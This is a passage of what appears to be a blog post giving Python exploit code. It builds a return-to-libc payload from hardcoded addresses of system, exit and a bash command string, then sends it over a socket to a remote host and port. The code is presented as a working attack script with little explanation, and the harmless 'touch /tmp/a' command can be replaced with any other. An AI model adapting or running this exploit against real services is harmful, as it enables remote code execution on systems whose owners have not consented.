 ADDRESS_OF_SYSTEM = 0xb76bab1f 
 ADDRESS_OF_EXIT = 0xb76b09e0 
 ADDERSS_OF_BASH_LINE = 0xbf879cee 
 BASH_LINE = "touch /tmp/a; " 
 payload = struct.pack("I", ADDRESS_OF_SYSTEM ) + struct.pack("I", ADDRESS_OF_EXIT) + struct.pack("I", ADDERSS_OF_BASH_LINE)
 return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def main(): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 commands = get_commands() 
 for c in commands: 
 print "Sending:\"%s\"" % (c, ) 
 s.send(c, len(c)) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
if __name__ == "__main__": 
 main() 

 

If you have any questions or feedback I would love to hear from you in the comments below 🙂